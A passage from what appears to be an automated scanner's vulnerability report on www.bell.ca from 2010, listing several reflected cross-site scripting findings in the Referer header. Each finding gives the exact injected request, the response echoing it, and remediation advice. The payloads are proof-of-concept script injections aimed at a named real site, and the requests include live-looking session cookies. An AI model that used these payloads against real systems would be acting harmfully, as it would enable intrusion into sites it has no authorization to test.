Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/common.portal/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=8ce13--><script>alert(1)</script>a492ddbf899

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 15:20:36 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=8ce13--><script>alert(1)</script>a492ddbf899 -->
...[SNIP]...

2.397. https://www.bell.ca/shopping/popups/bonus/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/bonus/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 71c08--><script>alert(1)</script>03270c88230 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/popups/bonus/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=71c08--><script>alert(1)</script>03270c88230

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 15:20:11 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=71c08--><script>alert(1)</script>03270c88230 -->
...[SNIP]...

2.398. https://www.bell.ca/shopping/popups/bundle/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/bundle/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 265c7--><script>alert(1)</script>c50effd5f4a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/popups/bundle/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=265c7--><script>alert(1)</script>c50effd5f4a

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 15:20:16 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=265c7--><script>alert(1)</script>c50effd5f4a -->
...[SNIP]...

2.399. https://www.bell.ca/shopping/popups/internet/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/internet/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 8c7f4--><script>alert(1)</script>3595ed7b23f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/popups/internet/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=8c7f4--><script>alert(1)</script>3595ed7b23f

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 15:20:28 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=8c7f4--><script>alert(1)</script>3595ed7b23f -->
...[SNIP]...

2.400. https://www.bell.ca/shopping/popups/internet_access/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/internet_access/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 40902--><script>alert(1)</script>cd75e422039 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/popups/internet_access/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=40902--><script>alert(1)</script>cd75e422039

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 15:20:27 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=40902--><script>alert(1)</script>cd75e422039 -->
...[SNIP]...

2.401. https://www.bell.ca/shopping/popups/phoneservices/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/phoneservices/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 321c2--><script>alert(1)</script>1694cc61517 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/popups/phoneservices/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=321c2--><script>alert(1)</script>1694cc61517

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 15:20:27 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=321c2--><script>alert(1)</script>1694cc61517 -->
...[SNIP]...

2.402. https://www.bell.ca/shopping/popups/television/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/television/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload f4cc9--><script>alert(1)</script>b454cdd6a13 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/popups/television/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=f4cc9--><script>alert(1)</script>b454cdd6a13

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 15:20:24 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=f4cc9--><script>alert(1)</script>b454cdd6a13 -->
...[SNIP]...

2.403. https://www.bell.ca/shopping/popups/wireless/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/wireless/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 77f6f--><script>alert(1)</script>3a94afb4f75 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /shopping/popups/wireless/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=77f6f--><script>alert(1)</script>3a94afb4f75

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Wed, 24 Nov 2010 15:20:27 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Length: 3645
Content-Type: text/html; charset=UTF-8


<html>
<head>
   <title>Page not found/Page non trouv..e bell </title>
   <link href='/shopping/framework/skins/content/content.css' rel="stylesheet" type="text/css"/>
<!--[if lte IE 6
...[SNIP]...
<!-- Referrer is http://www.google.com/search?hl=en&q=77f6f--><script>alert(1)</script>3a94afb4f75 -->
...[SNIP]...

2.404. https://www.bell.ca/specialneeds/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /specialneeds/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e73c6'-alert(1)-'c1bd10844ec was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /specialneeds/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=PE|myurl=CSQ|language=en; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=vJn2MtqJhp3rXDzJv1bQG7JHC8KPG7qQ3BkfllcN0BXkpzpD26fX!-765054306;
Referer: http://www.google.com/search?hl=en&q=e73c6'-alert(1)-'c1bd10844ec

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 15:21:29 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DM3CIU
Content-Type: text/html; charset=UTF-8
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 13798


<!--
file: invalidProvince_GotoPortal_error.jsp
-->

<html>
<head>
   <title>Page Not Found/Page non trouv..e</title>
   <link href='/accessibilityservices/framework/skins
...[SNIP]...
   }
           return url + param + "=" + value;
       }
   }
   function onSelectProvince(o, lang) {
       var url;
       if (location.href.indexOf("error") != -1) {
           
           url = 'http://www.google.com/search?hl=en&q=e73c6'-alert(1)-'c1bd10844ec';
       } else {
           url = location.href;
       }
       //Issue CR26775 / WO59808, remove 2 parameters from the URL extension
       url = removeUrlParam(url, "region", "language");

       url = setUrlParam(url, "re
...[SNIP]...

2.405. https://www.bell.ca/specialneeds/ [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /specialneeds/

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 25c55--><script>alert(1)</script>11b51b0e57a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /specialneeds/ HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
